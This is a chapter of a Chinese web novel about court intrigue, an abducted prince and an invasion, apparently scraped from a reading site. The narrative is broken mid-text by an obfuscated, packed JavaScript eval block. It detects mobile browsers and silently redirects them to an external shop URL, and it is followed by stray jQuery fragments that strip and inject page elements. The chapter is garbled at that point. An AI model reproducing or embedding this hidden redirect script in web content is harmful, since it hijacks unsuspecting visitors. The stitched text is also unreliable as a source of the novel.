16. 北征

作品:《她做奸佞那些年

    陆瑜呛了两口:“钱大人真是幽默。”


    闹剧正欲收场,两人还未来得及合眼,门外便有人来报:“不好了,卫总督与三皇子都被暴民掳走了!”


    钱行之这辈子没这么无语过。


    待见了镇北将军与南川巡抚,钱行之这才知晓,昨夜他们接了消息便马不停蹄赶往城新庙,正巧撞见一伙暴民将二人带走,元白也不见踪影。不知那庙里或者这山中是否藏有其他暗道,搜查至天明都未能有发现。


    南川巡抚试探道:“钱大人能否再行占卜?”


    还来?钱行之绝不买账,她连连摇头:“昨日已占问过,实在耗费心力,且是连夜上山又赶回城中,还请大人恕下官无能。”


    一时陷入沉默,陆瑜干咳了两声:“此事硬拖亦是不妥,不若按暴民的要求,先开仓放粮?”


    南川巡抚摆手:“这赈灾也有大半年了,朝廷拨了这么多趟银子,也只重建得七七八八……”


    “重建得七七八八?”钱行之忍不住开口打断:“巡抚忘了,下官也是南川人,这银子进了谁的口袋,你我心知肚明。”


    话挑明了讲总是尴尬无趣,南川几位高官互相推诿,谁都不肯松口,钱行之冷笑:“若是暴民急了,三皇子哪天落了脑袋,几位大人谁担责啊?”


    镇北将军也是无奈:“此次多半是预谋已久的行动,除了三皇子被劫,至今有三户贵族家中遭窃,贼人只以箭传讯过一次,并未有大规模暴动,不像是寻常民众所为。”


    钱行之已经疑心上了陆瑜。南川发生暴动的时间过巧,昨夜他三番五次行为有异,不知是在筹谋着什么。


    “既如此,便由陆某做主,暂时先开仓放粮,延缓疫情。朝廷一应损失皆从陆氏私库填补,几位大人意下如何?”


    此话一出应和声一片。钱行之瞧陆瑜又戴上了那副温润如玉的假面,疑心更甚。


    “陆大人次次慷慨解囊,南川上下感激不尽。”


    钱行之之前便听说陆瑜时常散财接济世人,如今亲眼所见心中多少还是有些震撼。


    粮仓设于洛县,钱行之又跟着几位坐马车赶路。


    街道较两月前已多了些许活气,钱行之心中五味杂陈。这儿是颜照霜故里,并非她钱行之的。


    理智告诉她,她应当同情或是痛心这方水土惨遭天灾人祸,可是穿越而来的这两月将她折磨得筋疲力尽,早已分不出多余的情感给一个完全陌生的世界。


    洛县还算得南川富饶一些的地方。钱行之自客栈安顿好倒头便睡。


    *


    春意渐浓,颜照霜与阿娘一同至集市采买家用。


    一路说笑打闹,渐至午时,归家途中经过一间卖珠串的铺子,颜照霜瞧见了角落里一个拨浪鼓。


    店家忙道:“这珠钗实在衬夫人,这样,您多买两串呢,咱们给您少五十文,这鼓就送给令爱。”


    出了铺子又遇上了爹爹,正是其乐融融,却听得街外一阵嘈杂声。


    “闲人退散!都让开!除了店家通通都回避!”


    四下惊吓声不断,不多时一个一个跪下,偶有窃窃私语声。


    “说是三皇子……”


    “听说陛下携言贵妃南巡,三皇子与四皇子也随行……”


    随着队伍的接近,很快这些细碎的谈论也消散不见。


    颜照霜规矩地叩在地上,实在百无聊赖,忍不住摩挲着拨浪鼓的小球。


    “我要这个。”


    颜照霜抬头,四皇子正用手指着她的鼓。


    颜照霜如今十岁,这拨浪鼓早不是她感兴趣的玩意儿,于是她规矩地伸出手:“给您。”


    二人年纪相仿,她不明白四皇子要这做什么。


    眼前这男孩儿稚嫩的脸上一瞬出现了愤怒与不解:“你!当真是不知礼数!”


    颜照霜呆愣在原地,茫然无措。


    阿娘率先护住她:“贵人恕罪,小女冒犯您了。”


    四皇子想听的并不是这些。这儿没有盛京繁华,没有盛京热闹,现在连恭维着他的人也没了。


    这个贱民应该说,四殿下,能被您看中真是这鼓的福气,您瞧瞧,还要些什么?


    盛京的每个人都是这样做的,这穷乡僻壤只地果真蛮不可言。


    于是他暴怒:“真是放肆!不敬皇子,应该通通打死!”


    这街上静得落针可闻,爹爹又挡到她身前:“殿下恕罪,实在是无心之失。”


    四皇子像是得了狂躁症,又嚷又叫。颜照霜头一次见这等神经,比街角婶婶家的呆瓜还要让人望而生畏。


    “好了四弟,你吓着人家了。”


    身后跟来的正是三皇子,他前些时日及冠,皇帝大肆操办,一时风头无两压过了一众皇子,如今正是春风得意时。


    四皇子也噤了声,大约很怕他这位好哥哥:“这几个出言不逊,该罚!”


    “好了,不要胡闹,”三皇子笑着安抚四皇子,一手接过拨浪鼓塞到他手上:“不过是个破鼓,什么好东西三哥寻不到?”


    他下令叫侍卫遣散所有平民,颜照霜被阿爹阿娘护着随着人流一道走。


    这位三皇子似乎还不坏,颜照霜并未觉得有什么惊险刺激,倒是双亲冷汗一声,战战兢兢。


    归了家才发现已有人在等。


    颜照霜又见到了三皇子。


    她见他笑意隐隐,刚想回个笑容行个礼,就见他拍拍四皇子的肩,一字一句逼得颜照霜无所适从。


    “我的好弟弟,学着点。有什么不满意的何必落人口舌?找机会杀了便是。”


    *


    噩梦惊醒,再睁眼已是日入时分。出了门,她见陆瑜一人凭栏独立,眺望街道。


    “下官还以为陆大人去粮仓慰问百姓去了。”


    陆瑜反问:“此处是钱大人故乡,怎么钱大人好似并不在意南川百姓?也未去关心什么旧友。”


    钱行之自知理亏:“下官自身尚且难保,谈什么救世呢?倒是陆大人你,虽然兼济天下是大义之举,可也容易被胁迫。先前那几位大人恐怕都是等着陆大人你开口散财呢。哪日陆氏力不从心,也是退无可退。”


    这点陆瑜心知肚明。可若是不博些名声撑着,只怕陆氏这些年早就被瓜分殆尽。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716174|189010||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “陆大人不担心元白么?”


    钱行之每每疑心什么总是忍不住试探他,陆瑜也是一样。


    “担心无用,既然将军他们都无法查找出三皇子的下落,开仓放粮早日与暴民取得联系是不得已的上策。”


    钱行之不置可否:“下官对这暴乱倒是有些看法。”


    他配合她道:“哦?陆某愿闻其详。”


    钱行之一下一下敲着栏杆:“与其说是暴乱,不如说是有人谋划着劫持三皇子,假借暴乱的名义引起陛下重视,实则根本无需军队镇压,不过是东躲西藏拖延时间。”


    陆瑜附和:“哦,的确如此。”


    “下官只是想确认一下,”钱行之套上谄媚的笑:“前脚在下向大人提了想回南川的想法,后脚就有了回南川的借口,实在是有些巧得蹊跷。三皇子是大人安排挟持的么?”


    陆瑜笑容微不可查顿了一瞬:“钱大人的想象力倒是丰富。”


    钱行之清了清嗓子:“镇北将军如今身在南川,溯州军队也大批调至于此,陆大人,你说万一这时候北夷来犯,南盛能全身而退吗?”


    陆瑜收了笑,意味深长道:“镇北将军的部下又未跟来,自然无事。钱大人平日无事还是少猜东猜西为好。”


    廊下正巧能看全晚霞。今日这天粉的紫的铺成一片,玄月已现。


    “嗖——”


    长箭穿堂,钉在了钱行之房门上。


    钱行之扯下箭上的字条,龙飞凤舞几个大字:“三日后子时,城新庙,陆钱二人。”


    她将字条递给陆瑜:“陆大人,这八九不离十是暴民传讯吧?”


    陆瑜不置可否:“拿与将军他们吧。”


    镇北将军本就被这趟折腾得心中郁结,此刻见了这字条大骂:“简直狂妄至极!就不怕我埋兵山中?非得抓住这几个贼子!”


    钱行之提出异议:“这字条除了时间地点,旁的并未言明是要做什么,若是不能一举救出他们三人只怕更被动。”


    “钱大人言之有理,依陆某看,还是在下与钱大人前往,将军等人埋伏在后,照信号行事。”


    镇北将军沙场征战多年,少有败仗。此行本被委以重任,如今既寻不到三皇子还丢了卫总督。


    根本没有大规模的暴动,他带着大批人马浩浩荡荡跑来南川,是要镇压谁?


    这头快气出心病,那头却又来了坏消息。


    “将军,不好了,北夷来犯,已兵临城下!”


    钱行之摸摸自己的嘴。怎么跟开了光一样?


    她瞄了眼陆瑜,他也正好转头瞧她,两相对视不知为何都各自心虚。


    两人凑近了咬耳朵。


    陆瑜揶揄她:“钱大人料事如神啊。该不会钱大人其实手眼通天,这都是您安排的?”


    钱行之尬笑:“哪里哪里,体质问题,不然就做不成江湖道士了。”


    镇北将军坐不住了,那架势恨不得提刀赶至北域:“岂有此理!老子刚走就来作死,当老子是死了!”


    那小的紧跟着报:“不过陛下封了七皇子为大将军王,现已出征北疆了。”